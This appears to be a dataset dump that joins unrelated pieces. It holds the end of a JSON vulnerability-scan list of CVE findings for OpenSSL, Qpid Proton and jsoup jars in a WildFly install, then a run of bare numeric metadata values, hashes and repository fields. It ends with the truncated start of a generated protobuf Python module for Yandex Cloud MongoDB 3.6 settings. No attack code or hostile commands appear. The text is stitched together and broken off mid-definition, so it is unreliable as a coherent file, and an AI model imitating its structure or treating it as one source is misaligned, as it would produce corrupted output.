"cve_severity": "high", "cve_id": "CVE-2016-2177", "cve_type": "java", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/wildfly/openssl/main/wildfly-openssl-java-1.0.2.Final.jar", "cve_product_version": "1.0.2"}, {"cve_product": "openssl", "cve_severity": "low", "cve_id": "CVE-2016-2178", "cve_type": "java", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/wildfly/openssl/main/wildfly-openssl-java-1.0.2.Final.jar", "cve_product_version": "1.0.2"}, {"cve_product": "openssl", "cve_severity": "medium", "cve_id": "CVE-2016-2179", "cve_type": "java", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/wildfly/openssl/main/wildfly-openssl-java-1.0.2.Final.jar", "cve_product_version": "1.0.2"}, {"cve_product": "openssl", "cve_severity": "medium", "cve_id": "CVE-2016-2180", "cve_type": "java", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/wildfly/openssl/main/wildfly-openssl-java-1.0.2.Final.jar", "cve_product_version": "1.0.2"}, {"cve_product": "openssl", "cve_severity": "medium", "cve_id": "CVE-2016-2181", "cve_type": "java", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/wildfly/openssl/main/wildfly-openssl-java-1.0.2.Final.jar", "cve_product_version": "1.0.2"}, {"cve_product": "openssl", "cve_severity": "high", "cve_id": "CVE-2016-2182", "cve_type": "java", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/wildfly/openssl/main/wildfly-openssl-java-1.0.2.Final.jar", "cve_product_version": "1.0.2"}, {"cve_product": "openssl", "cve_severity": "high", "cve_id": "CVE-2016-2842", "cve_type": "java", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/wildfly/openssl/main/wildfly-openssl-java-1.0.2.Final.jar", "cve_product_version": "1.0.2"}, {"cve_product": "openssl", "cve_severity": "medium", "cve_id": "CVE-2016-6302", "cve_type": "java", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/wildfly/openssl/main/wildfly-openssl-java-1.0.2.Final.jar", "cve_product_version": "1.0.2"}, {"cve_product": "openssl", "cve_severity": "high", "cve_id": "CVE-2016-6303", "cve_type": "java", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/wildfly/openssl/main/wildfly-openssl-java-1.0.2.Final.jar", "cve_product_version": "1.0.2"}, {"cve_product": "openssl", "cve_severity": "high", "cve_id": "CVE-2016-6304", "cve_type": "java", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/wildfly/openssl/main/wildfly-openssl-java-1.0.2.Final.jar", "cve_product_version": "1.0.2"}, {"cve_product": "openssl", "cve_severity": "medium", "cve_id": "CVE-2016-6306", "cve_type": "java", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/wildfly/openssl/main/wildfly-openssl-java-1.0.2.Final.jar", "cve_product_version": "1.0.2"}, {"cve_product": "openssl", "cve_severity": "low", "cve_id": "CVE-2016-7055", "cve_type": "java", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/wildfly/openssl/main/wildfly-openssl-java-1.0.2.Final.jar", "cve_product_version": "1.0.2"}, {"cve_product": "openssl", "cve_severity": "medium", "cve_id": "CVE-2016-8610", "cve_type": "java", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/wildfly/openssl/main/wildfly-openssl-java-1.0.2.Final.jar", "cve_product_version": "1.0.2"}, {"cve_product": "openssl", "cve_severity": "medium", "cve_id": "CVE-2017-3731", "cve_type": "java", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/wildfly/openssl/main/wildfly-openssl-java-1.0.2.Final.jar", "cve_product_version": "1.0.2"}, {"cve_product": "openssl", "cve_severity": "medium", "cve_id": "CVE-2017-3732", "cve_type": "java", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/wildfly/openssl/main/wildfly-openssl-java-1.0.2.Final.jar", "cve_product_version": "1.0.2"}, {"cve_product": "openssl", "cve_severity": "medium", "cve_id": "CVE-2017-3735", "cve_type": "java", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/wildfly/openssl/main/wildfly-openssl-java-1.0.2.Final.jar", "cve_product_version": "1.0.2"}, {"cve_product": "openssl", "cve_severity": "medium", "cve_id": "CVE-2017-3736", "cve_type": "java", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/wildfly/openssl/main/wildfly-openssl-java-1.0.2.Final.jar", "cve_product_version": "1.0.2"}, {"cve_product": "qpid_proton", "cve_severity": "medium", "cve_id": "CVE-2016-2166", "cve_type": "java", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/apache/qpid/proton/main/proton-j-0.8.jar", "cve_product_version": "0.8.0"}, {"cve_product": "qpid_proton", "cve_severity": "medium", "cve_id": "CVE-2016-4467", "cve_type": "java", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/apache/qpid/proton/main/proton-j-0.8.jar", "cve_product_version": "0.8.0"}, {"cve_product": "jsoup", "cve_severity": "medium", "cve_id": "CVE-2015-6748", "cve_type": "java", "cve_product_file_path": "/home/egrander/Downloads/jboss/opt/jboss/wildfly/modules/system/layers/base/org/jsoup/main/jsoup-1.8.3.jar", "cve_product_version": "1.8.3"}]'
316.385714
19,216
0.736985
3,430
22,147
4.562099
0.066764
0.132285
0.023006
0.079371
0.891743
0.887206
0.878707
0.876853
0.873147
0.87059
0
0.045886
0.057299
22,147
70
19,216
316.385714
0.703611
0.035716
0
0.193548
0
0.096774
0.939111
0.578185
0
0
0
0
0.064516
1
0.129032
false
0
0.225806
0
0.516129
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
1
1
0
0
0
0
0
0
1
1
null
0
0
0
0
0
0
0
0
0
0
1
0
0
11
20a6b8f237f7aa1eb2bb4302554a5acec3ff1d1a
46,123
py
Python
yandex/cloud/mdb/mongodb/v1/config/mongodb3_6_pb2.py
IIKovalenko/python-sdk
980e2c5d848eadb42799132b35a9f58ab7b27157
[ "MIT" ]
1
2019-06-07T10:45:58.000Z
2019-06-07T10:45:58.000Z
yandex/cloud/mdb/mongodb/v1/config/mongodb3_6_pb2.py
IIKovalenko/python-sdk
980e2c5d848eadb42799132b35a9f58ab7b27157
[ "MIT" ]
null
null
null
yandex/cloud/mdb/mongodb/v1/config/mongodb3_6_pb2.py
IIKovalenko/python-sdk
980e2c5d848eadb42799132b35a9f58ab7b27157
[ "MIT" ]
null
null
null
# Generated by the protocol buffer compiler. DO NOT EDIT! # source: yandex/cloud/mdb/mongodb/v1/config/mongodb3_6.proto import sys _b=sys.version_info[0]<3 and (lambda x:x) or (lambda x:x.encode('latin1')) from google.protobuf import descriptor as _descriptor from google.protobuf import message as _message from google.protobuf import reflection as _reflection from google.protobuf import symbol_database as _symbol_database # @@protoc_insertion_point(imports) _sym_db = _symbol_database.Default() from google.protobuf import wrappers_pb2 as google_dot_protobuf_dot_wrappers__pb2 from yandex.cloud import validation_pb2 as yandex_dot_cloud_dot_validation__pb2 DESCRIPTOR = _descriptor.FileDescriptor( name='yandex/cloud/mdb/mongodb/v1/config/mongodb3_6.proto', package='yandex.cloud.mdb.mongodb.v1.config', syntax='proto3', serialized_options=_b('ZNgithub.com/yandex-cloud/go-genproto/yandex/cloud/mdb/mongodb/v1/config;mongodb'), serialized_pb=_b('\n3yandex/cloud/mdb/mongodb/v1/config/mongodb3_6.proto\x12\"yandex.cloud.mdb.mongodb.v1.config\x1a\x1egoogle/protobuf/wrappers.proto\x1a\x1dyandex/cloud/validation.proto\"\x9e\x0b\n\x0fMongodConfig3_6\x12L\n\x07storage\x18\x01 \x01(\x0b\x32;.yandex.cloud.mdb.mongodb.v1.config.MongodConfig3_6.Storage\x12\x63\n\x13operation_profiling\x18\x02 \x01(\x0b\x32\x46.yandex.cloud.mdb.mongodb.v1.config.MongodConfig3_6.OperationProfiling\x12H\n\x03net\x18\x03 \x01(\x0b\x32;.yandex.cloud.mdb.mongodb.v1.config.MongodConfig3_6.Network\x1a\xc6\x06\n\x07Storage\x12[\n\x0bwired_tiger\x18\x01 \x01(\x0b\x32\x46.yandex.cloud.mdb.mongodb.v1.config.MongodConfig3_6.Storage.WiredTiger\x12T\n\x07journal\x18\x02 \x01(\x0b\x32\x43.yandex.cloud.mdb.mongodb.v1.config.MongodConfig3_6.Storage.Journal\x1a\x8e\x04\n\nWiredTiger\x12j\n\rengine_config\x18\x01 \x01(\x0b\x32S.yandex.cloud.mdb.mongodb.v1.config.MongodConfig3_6.Storage.WiredTiger.EngineConfig\x12r\n\x11\x63ollection_config\x18\x02 \x01(\x0b\x32W.yandex.cloud.mdb.mongodb.v1.config.MongodConfig3_6.Storage.WiredTiger.CollectionConfig\x1a\x43\n\x0c\x45ngineConfig\x12\x33\n\rcache_size_gb\x18\x01 \x01(\x0b\x32\x1c.google.protobuf.DoubleValue\x1a\xda\x01\n\x10\x43ollectionConfig\x12|\n\x10\x62lock_compressor\x18\x01 \x01(\x0e\x32\x62.yandex.cloud.mdb.mongodb.v1.config.MongodConfig3_6.Storage.WiredTiger.CollectionConfig.Compressor\"H\n\nCompressor\x12\x1a\n\x16\x43OMPRESSOR_UNSPECIFIED\x10\x00\x12\x08\n\x04NONE\x10\x01\x12\n\n\x06SNAPPY\x10\x02\x12\x08\n\x04ZLIB\x10\x03\x1aw\n\x07Journal\x12+\n\x07\x65nabled\x18\x01 \x01(\x0b\x32\x1a.google.protobuf.BoolValue\x12?\n\x0f\x63ommit_interval\x18\x02 \x01(\x0b\x32\x1b.google.protobuf.Int64ValueB\t\xfa\xc7\x31\x05\x31-500\x1a\xec\x01\n\x12OperationProfiling\x12Y\n\x04mode\x18\x01 \x01(\x0e\x32K.yandex.cloud.mdb.mongodb.v1.config.MongodConfig3_6.OperationProfiling.Mode\x12>\n\x11slow_op_threshold\x18\x02 \x01(\x0b\x32\x1b.google.protobuf.Int64ValueB\x06\xfa\xc7\x31\x02>0\";\n\x04Mode\x12\x14\n\x10MODE_UNSPECIFIED\x10\x00\x12\x07\n\x03OFF\x10\x01\x12\x0b\n\x07SLOW_OP\x10\x02\x12\x07\n\x03\x41LL\x10\x03\x1aV\n\x07Network\x12K\n\x18max_incoming_connections\x18\x01 \x01(\x0b\x32\x1b.google.protobuf.Int64ValueB\x0c\xfa\xc7\x31\x08\x31\x30-16384\"\x8c\x07\n\x11MongoCfgConfig3_6\x12N\n\x07storage\x18\x01 \x01(\x0b\x32=.yandex.cloud.mdb.mongodb.v1.config.MongoCfgConfig3_6.Storage\x12\x65\n\x13operation_profiling\x18\x02 \x01(\x0b\x32H.yandex.cloud.mdb.mongodb.v1.config.MongoCfgConfig3_6.OperationProfiling\x12J\n\x03net\x18\x03 \x01(\x0b\x32=.yandex.cloud.mdb.mongodb.v1.config.MongoCfgConfig3_6.Network\x1a\xaa\x02\n\x07Storage\x12]\n\x0bwired_tiger\x18\x01 \x01(\x0b\x32H.yandex.cloud.mdb.mongodb.v1.config.MongoCfgConfig3_6.Storage.WiredTiger\x1a\xbf\x01\n\nWiredTiger\x12l\n\rengine_config\x18\x01 \x01(\x0b\x32U.yandex.cloud.mdb.mongodb.v1.config.MongoCfgConfig3_6.Storage.WiredTiger.EngineConfig\x1a\x43\n\x0c\x45ngineConfig\x12\x33\n\rcache_size_gb\x18\x01 \x01(\x0b\x32\x1c.google.protobuf.DoubleValue\x1a\xee\x01\n\x12OperationProfiling\x12[\n\x04mode\x18\x01 \x01(\x0e\x32M.yandex.cloud.mdb.mongodb.v1.config.MongoCfgConfig3_6.OperationProfiling.Mode\x12>\n\x11slow_op_threshold\x18\x02 \x01(\x0b\x32\x1b.google.protobuf.Int64ValueB\x06\xfa\xc7\x31\x02>0\";\n\x04Mode\x12\x14\n\x10MODE_UNSPECIFIED\x10\x00\x12\x07\n\x03OFF\x10\x01\x12\x0b\n\x07SLOW_OP\x10\x02\x12\x07\n\x03\x41LL\x10\x03\x1aV\n\x07Network\x12K\n\x18max_incoming_connections\x18\x01 \x01(\x0b\x32\x1b.google.protobuf.Int64ValueB\x0c\xfa\xc7\x31\x08\x31\x30-16384\"\xb3\x01\n\x0fMongosConfig3_6\x12H\n\x03net\x18\x01 \x01(\x0b\x32;.yandex.cloud.mdb.mongodb.v1.config.MongosConfig3_6.Network\x1aV\n\x07Network\x12K\n\x18max_incoming_connections\x18\x01 \x01(\x0b\x32\x1b.google.protobuf.Int64ValueB\x0c\xfa\xc7\x31\x08\x31\x30-16384\"\xfa\x01\n\x12MongodConfigSet3_6\x12M\n\x10\x65\x66\x66\x65\x63tive_config\x18\x01 \x01(\x0b\x32\x33.yandex.cloud.mdb.mongodb.v1.config.MongodConfig3_6\x12H\n\x0buser_config\x18\x02 \x01(\x0b\x32\x33.yandex.cloud.mdb.mongodb.v1.config.MongodConfig3_6\x12K\n\x0e\x64\x65\x66\x61ult_config\x18\x03 \x01(\x0b\x32\x33.yandex.cloud.mdb.mongodb.v1.config.MongodConfig3_6\"\x82\x02\n\x14MongoCfgConfigSet3_6\x12O\n\x10\x65\x66\x66\x65\x63tive_config\x18\x01 \x01(\x0b\x32\x35.yandex.cloud.mdb.mongodb.v1.config.MongoCfgConfig3_6\x12J\n\x0buser_config\x18\x02 \x01(\x0b\x32\x35.yandex.cloud.mdb.mongodb.v1.config.MongoCfgConfig3_6\x12M\n\x0e\x64\x65\x66\x61ult_config\x18\x03 \x01(\x0b\x32\x35.yandex.cloud.mdb.mongodb.v1.config.MongoCfgConfig3_6\"\xfa\x01\n\x12MongosConfigSet3_6\x12M\n\x10\x65\x66\x66\x65\x63tive_config\x18\x01 \x01(\x0b\x32\x33.yandex.cloud.mdb.mongodb.v1.config.MongosConfig3_6\x12H\n\x0buser_config\x18\x02 \x01(\x0b\x32\x33.yandex.cloud.mdb.mongodb.v1.config.MongosConfig3_6\x12K\n\x0e\x64\x65\x66\x61ult_config\x18\x03 \x01(\x0b\x32\x33.yandex.cloud.mdb.mongodb.v1.config.MongosConfig3_6BPZNgithub.com/yandex-cloud/go-genproto/yandex/cloud/mdb/mongodb/v1/config;mongodbb\x06proto3') , dependencies=[google_dot_protobuf_dot_wrappers__pb2.DESCRIPTOR,yandex_dot_cloud_dot_validation__pb2.DESCRIPTOR,]) _MONGODCONFIG3_6_STORAGE_WIREDTIGER_COLLECTIONCONFIG_COMPRESSOR = _descriptor.EnumDescriptor( name='Compressor', full_name='yandex.cloud.mdb.mongodb.v1.config.MongodConfig3_6.Storage.WiredTiger.CollectionConfig.Compressor', filename=None, file=DESCRIPTOR, values=[ _descriptor.EnumValueDescriptor( name='COMPRESSOR_UNSPECIFIED', index=0, number=0, serialized_options=None, type=None), _descriptor.EnumValueDescriptor( name='NONE', index=1, number=1, serialized_options=None, type=None), _descriptor.EnumValueDescriptor( name='SNAPPY', index=2, number=2, serialized_options=None, type=None), _descriptor.EnumValueDescriptor( name='ZLIB', index=3, number=3, serialized_options=None, type=None), ], containing_type=None, serialized_options=None, serialized_start=1073, serialized_end=1145, ) _sym_db.RegisterEnumDescriptor(_MONGODCONFIG3_6_STORAGE_WIREDTIGER_COLLECTIONCONFIG_COMPRESSOR) _MONGODCONFIG3_6_OPERATIONPROFILING_MODE = _descriptor.EnumDescriptor( name='Mode', full_name='yandex.cloud.mdb.mongodb.v1.config.MongodConfig3_6.OperationProfiling.Mode', filename=None, file=DESCRIPTOR, values=[ _descriptor.EnumValueDescriptor( name='MODE_UNSPECIFIED', index=0, number=0, serialized_options=None, type=None), _descriptor.EnumValueDescriptor( name='OFF', index=1, number=1, serialized_options=None, type=None), _descriptor.EnumValueDescriptor( name='SLOW_OP', index=2, number=2, serialized_options=None, type=None), _descriptor.EnumValueDescriptor( name='ALL', index=3, number=3, serialized_options=None, type=None), ], containing_type=None, serialized_options=None, serialized_start=1446, serialized_end=1505, ) _sym_db.RegisterEnumDescriptor(_MONGODCONFIG3_6_OPERATIONPROFILING_MODE) _MONGOCFGCONFIG3_6_OPERATIONPROFILING_MODE = _descriptor.EnumDescriptor( name='Mode', full_name='yandex.cloud.mdb.mongodb.v1.config.MongoCfgConfig3_6.OperationProfiling.Mode', filename=None, file=DESCRIPTOR, values=[ _descriptor.EnumValueDescriptor( name='MODE_UNSPECIFIED', index=0, number=0, serialized_options=None, type=None), _descriptor.EnumValueDescriptor( name='OFF', index=1, number=1, serialized_options=None, type=None), _descriptor.EnumValueDescriptor( name='SLOW_OP', index=2, number=2, serialized_options=None, type=None), _descriptor.EnumValueDescriptor( name='ALL', index=3, number=3, serialized_options=None, type=None), ], containing_type=None, serialized_options=None, serialized_start=1446, serialized_end=1505, ) _sym_db.RegisterEnumDescriptor(_MONGOCFGCONFIG3_6_OPERATIONPROFILING_MODE) _MONGODCONFIG3_6_STORAGE_WIREDTIGER_ENGINECONFIG = _descriptor.Descriptor( name='EngineConfig', full_name='yandex.cloud.mdb.mongodb.v1.config.MongodConfig3_6.Storage.WiredTiger.EngineConfig', filename=None, file=DESCRIPTOR, containing_type=None, fields=[ _descriptor.FieldDescriptor( name='cache_size_gb', full_name='yandex.cloud.mdb.mongodb.v1.config.MongodConfig3_6.Storage.WiredTiger.EngineConfig.cache_size_gb', index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto3', extension_ranges=[], oneofs=[ ], serialized_start=857, serialized_end=924, ) _MONGODCONFIG3_6_STORAGE_WIREDTIGER_COLLECTIONCONFIG = _descriptor.Descriptor( name='CollectionConfig', full_name='yandex.cloud.mdb.mongodb.v1.config.MongodConfig3_6.Storage.WiredTiger.CollectionConfig', filename=None, file=DESCRIPTOR, containing_type=None, fields=[ _descriptor.FieldDescriptor( name='block_compressor', full_name='yandex.cloud.mdb.mongodb.v1.config.MongodConfig3_6.Storage.WiredTiger.CollectionConfig.block_compressor', index=0, number=1, type=14, cpp_type=8, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), ], extensions=[ ], nested_types=[], enum_types=[ _MONGODCONFIG3_6_STORAGE_WIREDTIGER_COLLECTIONCONFIG_COMPRESSOR, ], serialized_options=None, is_extendable=False, syntax='proto3', extension_ranges=[], oneofs=[ ], serialized_start=927, serialized_end=1145, ) _MONGODCONFIG3_6_STORAGE_WIREDTIGER = _descriptor.Descriptor( name='WiredTiger', full_name='yandex.cloud.mdb.mongodb.v1.config.MongodConfig3_6.Storage.WiredTiger', filename=None, file=DESCRIPTOR, containing_type=None, fields=[ _descriptor.FieldDescriptor( name='engine_config', full_name='yandex.cloud.mdb.mongodb.v1.config.MongodConfig3_6.Storage.WiredTiger.engine_config', index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='collection_config', full_name='yandex.cloud.mdb.mongodb.v1.config.MongodConfig3_6.Storage.WiredTiger.collection_config', index=1, number=2, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), ], extensions=[ ], nested_types=[_MONGODCONFIG3_6_STORAGE_WIREDTIGER_ENGINECONFIG, _MONGODCONFIG3_6_STORAGE_WIREDTIGER_COLLECTIONCONFIG, ], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto3', extension_ranges=[], oneofs=[ ], serialized_start=619, serialized_end=1145, ) _MONGODCONFIG3_6_STORAGE_JOURNAL = _descriptor.Descriptor( name='Journal', full_name='yandex.cloud.mdb.mongodb.v1.config.MongodConfig3_6.Storage.Journal', filename=None, file=DESCRIPTOR, containing_type=None, fields=[ _descriptor.FieldDescriptor( name='enabled', full_name='yandex.cloud.mdb.mongodb.v1.config.MongodConfig3_6.Storage.Journal.enabled', index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='commit_interval', full_name='yandex.cloud.mdb.mongodb.v1.config.MongodConfig3_6.Storage.Journal.commit_interval', index=1, number=2, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=_b('\372\3071\0051-500'), file=DESCRIPTOR), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto3', extension_ranges=[], oneofs=[ ], serialized_start=1147, serialized_end=1266, ) _MONGODCONFIG3_6_STORAGE = _descriptor.Descriptor( name='Storage', full_name='yandex.cloud.mdb.mongodb.v1.config.MongodConfig3_6.Storage', filename=None, file=DESCRIPTOR, containing_type=None, fields=[ _descriptor.FieldDescriptor( name='wired_tiger', full_name='yandex.cloud.mdb.mongodb.v1.config.MongodConfig3_6.Storage.wired_tiger', index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='journal', full_name='yandex.cloud.mdb.mongodb.v1.config.MongodConfig3_6.Storage.journal', index=1, number=2, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), ], extensions=[ ], nested_types=[_MONGODCONFIG3_6_STORAGE_WIREDTIGER, _MONGODCONFIG3_6_STORAGE_JOURNAL, ], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto3', extension_ranges=[], oneofs=[ ], serialized_start=428, serialized_end=1266, ) _MONGODCONFIG3_6_OPERATIONPROFILING = _descriptor.Descriptor( name='OperationProfiling', full_name='yandex.cloud.mdb.mongodb.v1.config.MongodConfig3_6.OperationProfiling', filename=None, file=DESCRIPTOR, containing_type=None, fields=[ _descriptor.FieldDescriptor( name='mode', full_name='yandex.cloud.mdb.mongodb.v1.config.MongodConfig3_6.OperationProfiling.mode', index=0, number=1, type=14, cpp_type=8, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='slow_op_threshold', full_name='yandex.cloud.mdb.mongodb.v1.config.MongodConfig3_6.OperationProfiling.slow_op_threshold', index=1, number=2, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=_b('\372\3071\002>0'), file=DESCRIPTOR), ], extensions=[ ], nested_types=[], enum_types=[ _MONGODCONFIG3_6_OPERATIONPROFILING_MODE, ], serialized_options=None, is_extendable=False, syntax='proto3', extension_ranges=[], oneofs=[ ], serialized_start=1269, serialized_end=1505, ) _MONGODCONFIG3_6_NETWORK = _descriptor.Descriptor( name='Network', full_name='yandex.cloud.mdb.mongodb.v1.config.MongodConfig3_6.Network', filename=None, file=DESCRIPTOR, containing_type=None, fields=[ _descriptor.FieldDescriptor( name='max_incoming_connections', full_name='yandex.cloud.mdb.mongodb.v1.config.MongodConfig3_6.Network.max_incoming_connections', index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=_b('\372\3071\01010-16384'), file=DESCRIPTOR), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto3', extension_ranges=[], oneofs=[ ], serialized_start=1507, serialized_end=1593, ) _MONGODCONFIG3_6 = _descriptor.Descriptor( name='MongodConfig3_6', full_name='yandex.cloud.mdb.mongodb.v1.config.MongodConfig3_6', filename=None, file=DESCRIPTOR, containing_type=None, fields=[ _descriptor.FieldDescriptor( name='storage', full_name='yandex.cloud.mdb.mongodb.v1.config.MongodConfig3_6.storage', index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='operation_profiling', full_name='yandex.cloud.mdb.mongodb.v1.config.MongodConfig3_6.operation_profiling', index=1, number=2, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='net', full_name='yandex.cloud.mdb.mongodb.v1.config.MongodConfig3_6.net', index=2, number=3, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), ], extensions=[ ], nested_types=[_MONGODCONFIG3_6_STORAGE, _MONGODCONFIG3_6_OPERATIONPROFILING, _MONGODCONFIG3_6_NETWORK, ], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto3', extension_ranges=[], oneofs=[ ], serialized_start=155, serialized_end=1593, ) _MONGOCFGCONFIG3_6_STORAGE_WIREDTIGER_ENGINECONFIG = _descriptor.Descriptor( name='EngineConfig', full_name='yandex.cloud.mdb.mongodb.v1.config.MongoCfgConfig3_6.Storage.WiredTiger.EngineConfig', filename=None, file=DESCRIPTOR, containing_type=None, fields=[ _descriptor.FieldDescriptor( name='cache_size_gb', full_name='yandex.cloud.mdb.mongodb.v1.config.MongoCfgConfig3_6.Storage.WiredTiger.EngineConfig.cache_size_gb', index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto3', extension_ranges=[], oneofs=[ ], serialized_start=857, serialized_end=924, ) _MONGOCFGCONFIG3_6_STORAGE_WIREDTIGER = _descriptor.Descriptor( name='WiredTiger', full_name='yandex.cloud.mdb.mongodb.v1.config.MongoCfgConfig3_6.Storage.WiredTiger', filename=None, file=DESCRIPTOR, containing_type=None, fields=[ _descriptor.FieldDescriptor( name='engine_config', full_name='yandex.cloud.mdb.mongodb.v1.config.MongoCfgConfig3_6.Storage.WiredTiger.engine_config', index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), ], extensions=[ ], nested_types=[_MONGOCFGCONFIG3_6_STORAGE_WIREDTIGER_ENGINECONFIG, ], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto3', extension_ranges=[], oneofs=[ ], serialized_start=1984, serialized_end=2175, ) _MONGOCFGCONFIG3_6_STORAGE = _descriptor.Descriptor( name='Storage', full_name='yandex.cloud.mdb.mongodb.v1.config.MongoCfgConfig3_6.Storage', filename=None, file=DESCRIPTOR, containing_type=None, fields=[ _descriptor.FieldDescriptor( name='wired_tiger', full_name='yandex.cloud.mdb.mongodb.v1.config.MongoCfgConfig3_6.Storage.wired_tiger', index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), ], extensions=[ ], nested_types=[_MONGOCFGCONFIG3_6_STORAGE_WIREDTIGER, ], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto3', extension_ranges=[], oneofs=[ ], serialized_start=1877, serialized_end=2175, ) _MONGOCFGCONFIG3_6_OPERATIONPROFILING = _descriptor.Descriptor( name='OperationProfiling', full_name='yandex.cloud.mdb.mongodb.v1.config.MongoCfgConfig3_6.OperationProfiling', filename=None, file=DESCRIPTOR, containing_type=None, fields=[ _descriptor.FieldDescriptor( name='mode', full_name='yandex.cloud.mdb.mongodb.v1.config.MongoCfgConfig3_6.OperationProfiling.mode', index=0, number=1, type=14, cpp_type=8, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='slow_op_threshold', full_name='yandex.cloud.mdb.mongodb.v1.config.MongoCfgConfig3_6.OperationProfiling.slow_op_threshold', index=1, number=2, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=_b('\372\3071\002>0'), file=DESCRIPTOR), ], extensions=[ ], nested_types=[], enum_types=[ _MONGOCFGCONFIG3_6_OPERATIONPROFILING_MODE, ], serialized_options=None, is_extendable=False, syntax='proto3', extension_ranges=[], oneofs=[ ], serialized_start=2178, serialized_end=2416, ) _MONGOCFGCONFIG3_6_NETWORK = _descriptor.Descriptor( name='Network', full_name='yandex.cloud.mdb.mongodb.v1.config.MongoCfgConfig3_6.Network', filename=None, 